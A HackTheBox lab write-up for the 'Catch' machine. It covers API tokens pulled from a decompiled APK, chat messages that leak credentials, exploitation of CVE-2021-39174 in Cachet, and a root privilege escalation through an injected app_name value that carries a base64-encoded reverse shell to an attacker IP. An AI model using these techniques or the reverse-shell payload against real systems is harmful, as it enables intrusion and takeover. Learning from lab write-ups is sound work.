This is a writeup for the Catch machine on the HackTheBox site.
Enumeration #
First, let’s start with a scan of our target with the following command:
nmap -sV -sC -O -T4 -n -Pn -oA fastscan 10.129.180.130
Five TCP ports are discovered:
- 22/tcp : SSH port (OpenSSH 8.2p1)
- 80/tcp : HTTP web server (Apache 2.4.41)
- 3000 : Gitea 1.14.1
- 5000 : let’s Chat
- 8000 : Cachet (Apache 2.4.41)
Exploit #
At first I start by scanning the files of the site.
Nothing particular, by going on the site, there is the possibility of downloading an application: catchv1.0.apk
. So I download it, then I unpack it with the following command:
apktool d catchv1.0.apk
Then I look for passwords, tokens, …
βββ(d3vyceγΏkali)-[~/catchv1.0]
ββ$ find ./ -type f -exec grep -H 'token' {} \;
./res/values/strings.xml: <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
./res/values/strings.xml: <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
./res/values/strings.xml: <string name="slack_token">xoxp-23984754863-2348975623103</string>
[...]
We find 2 tokens, one is for gitea and the other is for lets chat. I choose to start with the second one. At first I generate a request with the help of Burp. Then after some research I find on this site that to add a token to the request it is necessary to use Authorisation: bearer [TOKEN]
. Now that I have the authorization, I start by listing the different rooms:
GET /rooms HTTP/1.1
Host: catch.htb:5000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Authorisation: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ
Cookie: connect.sid=s%3APQgPB6T9iE4OkwoXsVLWBTYYv__899Ny.v%2BdKrRNFbDrEQkPjm0kAoxdQfi6%2BsTB0AmPQ1q%2BnKns
If-None-Match: W/"35c-aAImKzSV1mWHmtGLu5/YkMt+2hk"
Connection: close
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy:
X-UA-Compatible: IE=Edge,chrome=1
Content-Type: application/json; charset=utf-8
ETag: W/"35c-aAImKzSV1mWHmtGLu5/YkMt+2hk"
Vary: Accept-Encoding
Date: Fri, 22 Apr 2022 10:31:05 GMT
Connection: close
Content-Length: 860
[{"id":"61b86b28d984e2451036eb17","slug":"status","name":"Status","description":"Cachet Updates and Maintenance","lastActive":"2021-12-14T10:34:20.749Z","created":"2021-12-14T10:00:08.384Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]},
{"id":"61b8708efe190b466d476bfb","slug":"android_dev","name":"Android Development","description":"Android App Updates, Issues & More","lastActive":"2021-12-14T10:24:21.145Z","created":"2021-12-14T10:23:10.474Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]},
{"id":"61b86b3fd984e2451036eb18","slug":"employees","name":"Employees","description":"New Joinees, Org updates","lastActive":"2021-12-14T10:18:04.710Z","created":"2021-12-14T10:00:31.043Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]}]
I find in the result 3 rooms. I try now to list the messages included in the first room. For that I use the following query:
GET /rooms/61b86b28d984e2451036eb17/messages HTTP/1.1
I find several messages including this one:
[...]
"id":"61b8702dfe190b466d476bfa","text":"Here are the credentials `john : E}V!mywu_69T4C}W`",
"posted":"2021-12-14T10:21:33.859Z",
"owner":"61b86f15fe190b466d476bf5",
"room":"61b86b28d984e2451036eb17"
[...]
A password and a login! I try to use it on the site hosted on port 8000 :
I find that the panel is version 2.4.0 of Cachet. After some research I find the CVE-2021-39174 which allows to obtain the contents of the variable DB_username
and DB_password
. For that I go in the notification parameters I set Mail Driver
to SMTP. Then I fill Mail From Address
with the following content: ${DB_username}
. I save and I refresh the page.
I repeat the same procedure for the password.
Finally I find the following credentials: will / s2#4Fg0_%3!
I now have SSH access with the user will and I can get the first flag.
Privilege escalation #
I start by running the linpeas.sh script to get an overview of the machine. I quickly find a script belonging to root but that I can read.
#!/bin/bash
###################
# Signature Check #
###################
sig_check() {
jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
if [[ $? -eq 0 ]]; then
echo '[+] Signature Check Passed'
else
echo '[!] Signature Check Failed. Invalid Certificate.'
cleanup
exit
fi
}
#######################
# Compatibility Check #
#######################
comp_check() {
apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
if [ -z "$COMPILE_SDK_VER" ]; then
echo '[!] Failed to find target SDK version.'
cleanup
exit
else
if [ $COMPILE_SDK_VER -lt 18 ]; then
echo "[!] APK Doesn't meet the requirements"
cleanup
exit
fi
fi
}
####################
# Basic App Checks #
####################
app_check() {
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
echo $APP_NAME
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
else
echo "[!] App doesn't belong to Catch Global"
cleanup
exit
fi
}
###########
# Cleanup #
###########
cleanup() {
rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
}
###################
# MDM CheckerV1.0 #
###################
DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin
for IN_APK_NAME in $DROPBOX/*.apk;do
OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
APK_NAME="$(openssl rand -hex 12).apk"
if [[ -L "$IN_APK_NAME" ]]; then
exit
else
mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
fi
sig_check $IN_FOLDER $APK_NAME
comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup
In this script one part is particularly interesting:
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
The script checks that the word Catch
is present in the app_name
variable of the apk file. But what is interesting is that we can put what we want before or after. I go back to the application folder that I had decompiled before. Then in the file res/values/strings.xml
I modify the value of app_name
.
[...]
<string name="app_name">Catch|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvMTIzNCAwPiYxCg== | base64 -d | bash -i</string>
[...]
After adding a reverse shell, I recompile the application with the following command:
Recommendations #
To patch this host I think it would be necessary to perform a number of actions:
- Do not leave tokens with access to sensitive content in an application available to all
- Update Cache to avoid CVE-2021-39174 exploit
- Do not use the same password for the database and a machine user
- Use a stricter check for the
app_name
variable